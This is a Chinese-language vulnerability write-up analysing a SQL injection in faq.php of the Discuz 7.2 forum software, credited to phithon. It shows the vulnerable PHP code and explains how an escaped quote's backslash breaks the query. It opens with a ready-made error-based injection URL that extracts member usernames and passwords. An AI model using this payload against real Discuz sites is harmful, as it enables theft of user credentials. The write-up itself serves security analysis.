Discuz7.2版的faq.php SQL注入漏洞分析_php執行個體

注入代碼執行個體:

複製代碼 代碼如下:

http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析： by phithon

複製代碼 代碼如下:

($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定義一個數組groupids，然後遍曆$gids（這也是個數組，就是$_GET[gids]），將數組中的所有值的第一位取出來放在groupids中。

為什麼這個操作就造成了注入？

discuz在全域會對GET數組進行addslashes轉義，也就是說會將'轉義成\'，所以，如果我們的傳入的參數是：gids[1]='的話，會被轉義成$gids[1]=\'，而這個指派陳述式$groupids[] = $row[0]就相當於取了字串的第一個字元，也就是\，把轉義符號取出來了。

再看後面，在將資料放入sql語句前，他用implodeids處理了一遍。我們看到implodeids函數

很簡單一個函數，就是將剛才的$groupids數組用','分割開，組成一個類似於'1','2','3','4'的字串返回。

但是我們的數組剛取出來一個轉義符，它會將這裡一個正常的'轉義掉，比如這樣：
'1','\','3','4'
有沒有看出有點不同，第4個單引號被轉義了，也就是說第5個單引號和第3個單引號閉合。